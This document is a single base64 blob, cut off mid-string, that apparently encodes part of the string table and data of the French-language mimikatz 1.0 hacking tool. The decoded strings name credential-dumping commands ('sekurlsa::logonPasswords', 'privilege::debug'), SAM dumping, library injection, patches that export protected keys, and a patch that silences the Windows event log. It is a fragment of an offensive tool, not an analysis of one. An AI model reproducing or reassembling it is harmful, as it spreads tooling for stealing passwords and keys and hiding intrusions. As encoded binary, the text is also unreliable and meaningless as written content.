AHAAVwBpAHQAaABGAHUAbABsAEEAdQB4AGkAbABpAGEAcgB5AFMAdABhAHQAZQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAbwB1AHQAQQB1AHgAaQBsAGkAYQByAHkAUwB0AGEAdABlAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAQwBvAGQAZQBTAGUAZwBzAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABUAGgAcgBlAGEAZABJAG4AZgBvAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AEkAbgBmAG8AAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAG8AdQB0AE8AcAB0AGkAbwBuAGEAbABEAGEAdABhAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAGkAdgBhAHQAZQBSAGUAYQBkAFcAcgBpAHQAZQBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAG8AYwBlAHMAcwBUAGgAcgBlAGEAZABEAGEAdABhAAAATQBpAG4AaQBEAHUAbQBwAEYAaQBsAHQAZQByAE0AbwBkAHUAbABlAFAAYQB0AGgAcwAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAEkAbgBkAGkAcgBlAGMAdABsAHkAUgBlAGYAZQByAGUAbgBjAGUAZABNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAVQBuAGwAbwBhAGQAZQBkAE0AbwBkAHUAbABlAHMAAABNAGkAbgBpAEQAdQBtAHAAUwBjAGEAbgBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAEYAaQBsAHQAZQByAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABIAGEAbgBkAGwAZQBEAGEAdABhAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABEAGEAdABhAFMAZQBnAHMAAAAAAE0AaQBuAGkARAB1AG0AcABOAG8AcgBtAGEAbAAAAAAAUwBlAHIAdgBp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AHMAAAAAAGgAYQBuAGQAbABlAAAAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAHQAbwBrAGUAbgBzACAAZAAnAGEAYwBjAOgAcwAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZAB1ACAAZADpAG0AaQBuAGUAdQByAAAAAAB3AGkAbgBtAGkAbgBlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAIAA3AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABBAG4AdABpAC0AZwBwAG8AIABlAHQAIABwAGEAdABjAGgAcwAgAGQAaQB2AGUAcgBzAAAAbgBvAGcAcABvAAAARAB1AG0AcAAgAGQAZQAgAFMAQQBNAAAAcwBhAG0AZAB1AG0AcAAAAEkAbgBqAGUAYwB0AGUAdQByACAAZABlACAAbABpAGIAcgBhAGkAcgBpAGUAcwAAAGkAbgBqAGUAYwB0AAAAAABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAAAHQAcwAAAAAAAAAAAEYAbwBuAGMAdABpAG8AbgBzACAAZABpAHYAZQByAHMAZQBzACAAbgAnAGEAeQBhAG4AdAAgAHAAYQBzACAAZQBuAGMAbwByAGUAIABhAHMAcwBlAHoAIABkAGUAIABjAG8AcgBwAHMAIABwAG8AdQByACAAYQB2AG8AaQByACAAbABlAHUAcgBzACAAcAByAG8AcAByAGUAcwAgAG0AbwBkAHUAbABlAAAAAABkAGkAdgBlAHIAcwAAAAAAAAAAAEQAdQBtAHAAIABkAGUAcwAgAHMAZQBzAHMAaQBvAG4AcwAgAGMAbwB1AHIAYQBuAHQAZQBzACAAcABhAHIAIABwAHIAbwB2AGkAZABlAHIAcwAgAEwAUwBBAFMAUwAAAHMAZQBrAHUAcgBsAHMAYQAAAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AcwAgAEUARgBTAAAAZQBmAHMAAABtAGkAbQBpAGsAYQB0AHoAIAAxAC4AMAAgAHgAOAA2ACAAKABSAEMAKQAAAAAAAAAvAC8AIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAAAAAACkAIAAqAC8AAAAAADA4OjUyOjEyAAAAAFNlcCAzMCAyMDEzAAkALwAqACAAVAByAGEAaQB0AGUAbQBlAG4AdAAgAGQAdQAgAEsAaQB3AGkAIAAoAAAAAAAoAGMAbwBtAG0AYQBuAGQAbABpAG4AZQApACAAIwAgAAAAAABtAGkAbQBpAGsAYQB0AHoAAAAAACAAIwAgAAAAOgA6AAAAAAAnACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlAAAAQwBvAG0AbQBhAG4AZABlACAAbABvAGMAYQBsAGUAIAAnAAAAJwAgAGkAZABlAG4AdABpAGYAaQDpACwAIABtAGEAaQBzACAAYwBvAG0AbQBhAG4AZABlACAAJwAAAAAATQBvAGQAdQBsAGUAIAA6ACAAJwAAAAAARABlAHMAYwByAGkAcAB0AGkAbwBuACAAZAB1ACAAbQBvAGQAdQBsAGUAIAA6ACAAAAAAAE0AbwBkAHUAbABlAHMAIABkAGkAcwBwAG8AbgBpAGIAbABlAHMAIAA6ACAAAAAAAE8AdQB2AGUAcgB0AHUAcgBlACAAZAB1ACAAcABpAGwAbwB0AGUAIABtAGkAbQBpAGsAYQB0AHoAIAA6ACAAAABcAFwALgBcAG0AaQBtAGkAawBhAHQAegAAAAAAQwByAGUAYQB0AGUARgBpAGwAZQAgADsAIAAAAFIAZQBhAGQARgBpAGwAZQAgADoAIAAAAFcAcgBpAHQAZQBGAGkAbABlACAAOgAgAAAAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAcQB1AGUAcgAgAGEAdgBlAGMAIABsAGUAIABwAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAAAAAAAABDAG8AbQBtAGEAbgBkAGUAIAB2AGkAZABlACAAKABmAGUAcgBtAGUAdAB1AHIAZQAgAGYAbwByAGMA6QBlACkAIAByAGUA5wB1AGUAAAAAAEUAcgByAGUAdQByACAAOgAgAHAAYQBzACAAZABlACAAcgDpAHAAbwBuAHMAZQAgAHAAbwBzAHMAaQBiAGwAZQAgADsAIAAAAEUAcgByAGUAdQByACAAOgAgAHAAYQBzACAAZAAnAOkAYwByAGkAdAB1AHIAZQAgAHAAbwBzAHMAaQBiAGwAZQAgADsAIAAAAEMAbwBtAG0AYQBuAGQAZQAgAHYAaQBkAGUAIAAoAGQA6QBjAG8AbgBuAGUAeABpAG8AbgAgAGYAbwByAGMA6QBlACkAIAByAGUA5wB1AGUAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABwAGEAcwAgAG8AdQAgAHAAbAB1AHMAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuACAA6QB0AGEAYgBsAGkAZQAAAAkALQAgAAAAALYEEE73ABBtAG8AZABfAG0AZQBtAG8AcgB5ADoAOgBzAGUAYQByAGMAaABNAGUAbQBvAHIAeQAgAE4AVAA1ACAAAABiAGMAcgB5AHAAdAAAAAAATABzAGEASQBuAGkAdABpAGEAbABpAHoAZQBQAHIAbwB0AGUAYwB0AGUAZABNAGUAbQBvAHIAeQAgAE4AVAA2ACAASwBPAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcwBlAGEAcgBjAGgATQBlAG0AbwByAHkAIABOAFQANgAgAAAAQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyAEJDcnlwdFNldFByb3BlcnR5AAAAQkNyeXB0R2V0UHJvcGVydHkAAABCQ3J5cHRHZW5lcmF0ZVN5bW1ldHJpY0tleQAAMwBEAEUAUwAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEIAQwAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAAAAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAE8AYgBqAGUAYwB0AEwAZQBuAGcAdABoAAAAAABCQ3J5cHREZXN0cm95S2V5AAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwB2AGkAZABlAHIAcwAgAGkAbgBzAHQAYQBsAGwA6QBzACkAAAAAAGwAaQBzAHQAUAByAG8AdgBpAGQAZQByAHMAAABMAGkAcwB0AGUAIABsAGUAcwAgAG0AYQBnAGEAcwBpAG4AcwAgAHMAeQBzAHQA6ABtAGUAAAAAAGwAaQBzAHQAUwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAZQAgAGwAZQBzACAAYwBlAHIAdABpAGYAaQBjAGEAdABzAAAAbABpAHMAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAATABpAHMAdABlACAAbABlAHMAIABjAG8AbgB0AGUAbgBlAHUAcgBzACAAZABlACAAYwBsAOkAcwAAAAAAbABpAHMAdABLAGUAeQBzAAAAAABFAHgAcABvAHIAdABlACAAbABlAHMAIABjAGUAcgB0AGkAZgBpAGMAYQB0AHMAAABlAHgAcABvAHIAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAARQB4AHAAbwByAHQAZQAgAGwAZQBzACAAYwBsAOkAcwAAAAAAZQB4AHAAbwByAHQASwBlAHkAcwAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAYwBsAOkAcwAgAHAAbwB1AHIAIABsACcAZQB4AHAAbwByAHQAIABkAGUAIABjAGwA6QBzACAAbgBvAG4AIABlAHgAcABvAHIAdABhAGIAbABlAAAAcABhAHQAYwBoAGMAbgBnAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsAGEAIABDAHIAeQBwAHQAbwBBAFAASQAgAGMAbwB1AHIAYQBuAHQAZQAgAHAAbwB1AHIAIABsACcAZQB4AHAAbwByAHQAIABkAGUAIABjAGwA6QBzACAAbgBvAG4AIABlAHgAcABvAHIAdABhAGIAbABlAAAAcABhAHQAYwBoAGMAYQBwAGkAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMAcgB5AHAAdABvAEEAUABJACAAOgAAAG0AbwBkAF8AYwByAHkAcAB0AG8AYQBwAGkAOgA6AGcAZQB0AFYAZQBjAHQAbwByAFAAcgBvAHYAaQBkAGUAcgBzACAAOgAgAAAAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMATgBHACAAOgAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvAG4AZwA6ADoAZwBlAHQAVgBlAGMAdABvAHIAUAByAG8AdgBpAGQAZQByAHMAIAA6ACAAAABFAG0AcABsAGEAYwBlAG0AZQBuAHQAIAA6ACAAJwAAAG0AbwBkAF8AYwByAHkAcAB0AG8AOgA6AGcAZQB0AEwAaQBzAHQAUwB5AHMAdABlAG0AUwB0AG8AcgBlAHMAIAA6ACAAAAAAACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlACAAIQAAAAAARQByAHIAZQB1AHIAIABkACcAYQByAGcAdQBtAGUAbgB0AHMALAAgAGEAdAB0AGUAbgBkAHUAIAA6ACAAWwBtAGEAYwBoAGkAbgBlAF0AIABbAHAAcgBvAHYAaQBkAGUAcgAgAHAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAF0AAABtAGEAYwBoAGkAbgBlAAAAdQBzAGUAcgAAAAAAXQAgAEMAbADpAHMAIABDAHIAeQBwAHQAbwBBAFAASQAgADoAAAAAAFsAAAAJACAALQAgAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAATwBVAEkAAABOAE8ATgAAAAkACQBFAHgAcABvAHIAdABhAGIAaQBsAGkAdADpACAAOgAgAAAAAAAJAAkAVABhAGkAbABsAGUAIABjAGwA6QAgACAAIAAgADoAIAAAAAAALgBwAHYAawAAAAAAYwBhAHAAaQBfAAAAJwAgADoAIAAAAAAACQAJAEUAeABwAG8AcgB0ACAAcAByAGkAdgDpACAAZABhAG4AcwAgACAAJwAAAAAACQAJAAkAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAUAByAGkAdgBhAHQAZQBLAGUAeQAvAFAAcgBpAHYAYQB0AGUASwBlAHkAQgBsAG8AYgBUAG8AUABWAEsAIAA6ACAAAAAAAAkACQAqACAARQByAHIAZQB1AHIAIABkAGUAIABjAGwA6QAgADsAIAAAAAAAAAAAAAkACQAqACAARQByAHIAZQB1AHIAIABkACcAYQBjAHEAdQBpAHMAaQB0AGkAbwBuACAAZABlACAAbABhACAAYwBsAOkAIAA7ACAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAVgBlAGMAdABvAHIAQwBvAG4AdABhAGkAbgBlAHIAcwAgADoAIAAAAF0AIABDAGwA6QBzACAAQwBOAEcAIAA6AAAAAABjAG4AZwBfAAAAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAAAAAJAAkACQBtAG8AZABfAGMAcgB5AHAAdABvAG4AZwA6ADoAZwBlAHQAUAByAGkAdgBhAHQAZQBLAGUAeQAvAFAAcgBpAHYAYQB0AGUASwBlAHkAQgBsAG8AYgBUAG8AUABWAEsAIAA6ACAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBuAGcAOgA6AGcAZQB0AFYAZQBjAHQAbwByAEMAbwBuAHQAYQBpAG4AZQByAHMAIAA6ACAAAAAAAE0AeQAAAAAAXAAAAFsAZQBtAHAAdAB5AF0AAAAJAAkAQwBvAG4AdABhAGkAbgBlAHIAIABDAGwA6QAgADoAIAAAAAAACQAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAA6ACAAAAAAAAkACQAJAEUAcgByAGUAdQByACAAOgAgAEMAbADpACAAZABlACAAdAB5AHAAZQAgAG4AQwByAHkAcAB0ACwAIABzAGEAbgBzACAAbgBDAHIAeQBwAHQAIAA/AAAAcABmAHgAAAAJAAkACQAAAAAAAABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgADoAIAAAAAAAZABlAHIAAAAJAAkARQB4AHAAbwByAHQAIABwAHUAYgBsAGkAYwAgAGQAYQBuAHMAIAAnAAAAAABDAGUAcgB0AE8AcABlAG4AUwB0AG8AcgBlACAAOgAgAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABDUEV4cG9ydEtleQAAAAAAUABhAHQAYwBoACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUABhAHQAYwBoACAAQwBSAFkAUABUAF8ARQBYAFAATwBSAFQAQQBCAEwARQAgAHwAIABDAFIAWQBQAFQAXwBBAFIAQwBIAEkAVgBBAEIATABFACAAOgAgAAAAAAAAAAAAUABhAHQAdABlAHIAbgBzACAAQwBSAFkAUABUAF8ARQBYAFAATwBSAFQAQQBCAEwARQAgAHwAIABDAFIAWQBQAFQAXwBBAFIAQwBIAEkAVgBBAEIATABFACAAZQB0ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgAHQAcgBvAHUAdgDpAHMAIAAhAAAAAABuAGMAcgB5AHAAdAAuAGQAbABsAAAAAABuAGMAcgB5AHAAdABwAHIAbwB2AC4AZABsAGwAAAAAAEsAZQB5AEkAcwBvAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAGkAbgBpAHQAaQBhAGwAaQBzAGUAcgAgAGwAYQAgAEMATgBHACAAOgAgAAAAAABQAGEAcwAgAGQAZQAgAEMATgBHACAAPwAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgAHAAbwB1AHIAIABuAGUAIABwAGwAdQBzACAAcwB1AHAAZQByAHYAaQBzAGUAcgAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAZQAgAHIAbwB1AHQAYQBnAGUAAAAAAG4AbwByAG8AdQB0AGUAbQBvAG4AAAAAAAAAAABbAHMAdQBwAGUAcgAgAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsACcAbwBiAHMAZQByAHYAYQB0AGUAdQByACAAZAAnAOkAdgDpAG4AZQBtAGUAbgB0AHMAIABwAG8AdQByACAAbgBlACAAcABsAHUAcwAgAHIAaQBlAG4AIABlAG4AcgBlAGcAaQBzAHQAcgBlAHIAAABlAHYAZQBuAHQAZAByAG8AcAAAAAAAAABQAGEAdABjAGgAIABsAGUAIABiAG8AdQB0AG8AbgAgAGEAbgBuAHUAbABlAHIAIABkAGUAIABXAGkAbgBkAG8AdwBzACAAWABQACAAZQB0ACAAMgAwADAAMwAgAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABwAG8AdQByACAAZADpAHYAZQByAHIAbwB1AGkAbABsAGUAcgAgAHUAbgBlACAAcwBlAHMAcwBpAG8AbgAAAGMAYQBuAGMAZQBsAGEAdABvAHIAAAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAHMAZQBjAHIAZQB0AHMAIAB1AHQAaQBsAGkAcwBhAHQAZQB1AHIAAABzAGUAYwByAGUAdABzAAAAQQBuAHQAaQAtAGQA6QB0AG8AdQByAHMAIABTAFIAAAA6AG4AbwBkAGUAdABvAHUAcgAAAAAAAABEAOkAYwBoAGkAZgBmAHIAZQAgAGwAZQBzACAAZgBpAGMAaABpAGUAcgBzACAAUABJAFQAIAAoAFEAdQBlAHMAdAAgAHYAVwBvAHIAawBzAHAAYQBjAGUAIABDAGwAaQBlAG4AdAApAAAAAAA6AHAAaQB0AG0AZQAAAAAATnRPcGVuUHJvY2VzcwAAAEQA6QB0AG8AdQByACAAdAByAG8AdQB2AOkAIABlAHQAIAAAAHAAYQB0AGMAaADpACAAOgApAAAATgBPAE4AIABwAGEAdABjAGgA6QAgADoAKAAAAEQA6QB0AG8AdQByACAAbgBvAG4AIAB0AHIAbwB1AHYA6QAAAHcAaQBuAGwAbwBnAG8AbgAuAGUAeABlAAAAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAABOAG8AbQBiAHIAZQAgAGQAZQAgAHMAZQBjAHIAZQB0AHMAIAA6ACAAAAAAAEcARQBOAEUAUgBJAEMAAABEAE8ATQBBAEkATgBfAFAAQQBTAFMAVwBPAFIARAAAAEQATwBNAEEASQBOAF8AQwBFAFIAVABJAEYASQBDAEEAVABFAAAAAABEAE8ATQBBAEkATgBfAFYASQBTAEkAQgBMAEUAXwBQAEEAUwBTAFcATwBSAEQAAABHAEUATgBFAFIASQBDAF8AQwBFAFIAVABJAEYASQBDAEEAVAAAAAAARABPAE0AQQBJAE4AXwBFAFgAVABFAE4ARABFAEQAAAA/AAAAQwByAGUAZABlAG4AdABpAGEAbAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAEMAbwBtAG0AZQBuAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgAC8AIAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAQwByAGUAZABFAG4AdQBtAGUAcgBhAHQAZQAgADoAIAAAAAAAgFvoGG9kiTo0zlnfTbRaD2mUWHBxSxfPw0Cq/MXgIduaSWi4L0ps3HqLf1wDCP45o8Yxpoy9cqSKG5LVh614j1WWCzCoQ1OwYqDafBONXYHAjpCI5Ld2wrUEk6Wpnqv1N6yZJuI4heF0dzLlkSOxEExHP76CImpR0GN1ETOb+zvK7d1E5hJOlzx5T0FmulAOyWsF7m7nlXtgnf/EKYa5fZjInDW7vO/6PQb5Nr8+fqLHVq7Lr+lCYfAd/WWfUifqJKGnsm0Us0X4tvdzwYOE9MzN8+NUFdFGB1cs0tPW1Nf269gcAAnsZwrZFt7x8gEtXkgCDF8NGRooHh8gJSorLlBJVAAAAAAAZABpAHYAZQByAHMAOgA6ADoAcABpAHQAbQBlACAAZgBpAGwAZQAuAHAAaQB0ACAAWwBmAGkAbABlAC4AcgBkAHAAXQAAAAAAIAAqACAATwB1AHYAZQByAHQAdQByAGUAIABlAG4AIABsAGUAYwB0AHUAcgBlACAAZAB1ACAAZgBpAGMAaABpAGUAcgAgACcAAAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMQAgADoAIAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMgAgADoAIAAAACAAKgAgAEUAbgAtAHQA6gB0AGUAIAA6ACAAAAAgACoAIABPAHUAdgBlAHIAdAB1AHIAZQAgAGUAbgAgAOkAYwByAGkAdAB1AHIAZQAgAGQAdQAgAGYAaQBjAGgAaQBlAHIAIAAnAAAAdwBiAAAAAAAgACoAIABEAG8AbgBuAOkAZQBzACAAOgAgAAAAIAAhAD0AIAAAAAAASwBPACAALQAgAGQAaQBmAGYA6QByAGUAbgB0ACAAZABlACAAJwBQAEkAVAAnACAAOwAgAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABiAGEAcwBpAHEAdQBlAHMAIABzAHUAcgAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpAAAAAABpAG4AZgBvAHMAAABBAGYAZgBpAGMAaABlACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHQAcgDoAHMAIABkAOkAdABhAGkAbABsAOkAZQBzACAAcwB1AHIAIAB1AG4AIABmAGkAYwBoAGkAZQByACAAYwBoAGkAZgBmAHIA6QAAAGYAdQBsAGwAAAAAAAAAAABEAHUAbQBwACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAARQBGAFMAIABkACcAdQBuACAAZgBpAGMAaABpAGUAcgAgAGMAaABpAGYAZgByAOkAIAB2AGUAcgBzACAAdQBuACAAZgBpAGMAaABpAGUAcgAgAGIAcgB1AHQAAAAAAHQAbwByAGEAdwAAAFUAdABpAGwAaQBzAGEAdABlAHUAcgAoAHMAKQAgAGQA6QBjAGwAYQByAOkAKABzACkAIAA6ACAAAAAAAEUAcgByAGUAdQByACAAUQB1AGUAcgB5AFUAcwBlAHIAcwBPAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQAgADoAIAAAAEEAZwBlAG4AdAAoAHMAKQAgAGQAZQAgAHIAZQBjAG8AdQB2AHIAZQBtAGUAbgB0ACAAIAA6ACAAAAAAAAAAAABFAHIAcgBlAHUAcgAgAFEAdQBlAHIAeQBSAGUAYwBvAHYAZQByAHkAQQBnAGUAbgB0AHMATwBuAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAIAA6ACAAAAAAAEUARgBTACAATQBlAHQAYQBkAGEAdABhAAAAAABEAEEAVABBAAAAAAAgACoAIABUAHkAcABlACAAIAAgADoAIAAAAAAAKABFAEYAUwAgAE0AZQB0AGEAZABhAHQAYQAgAHMAdAByAGUAYQBtACkAAAAgACoAIABOAG8AbQAgACAAIAAgADoAIAAAAAAAIAAqACAARgBsAGEAZwAgACAAIAA6ACAAAAAAACAAKgAgAFQAYQBpAGwAbABlACAAOgAgAAAAAABNAGEAcgBzAGgAYQBsAGUAZAAgAFMAdAByAGUAYQBtACAAOgAAAAAARABhAHQAYQBTAGUAZwBtAGUAbgB0ACAAOgAgAAAAAAAgACAARQBGAFMAIABNAGUAdABhAGQAYQB0AGEAIAA6AAAAAAAgACAAIAAqACAAVgBlAHIAcwBpAG8AbgAgAEUARgBTACAAOgAgAAAAAAAAACAAIAAgACoAIABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAKABzACkAIABkAOkAYwBsAGEAcgDpACgAcwApACAAOgAAAAAAAAAAACAAIAAgACoAIABBAGcAZQBuAHQAKABzACkAIABkAG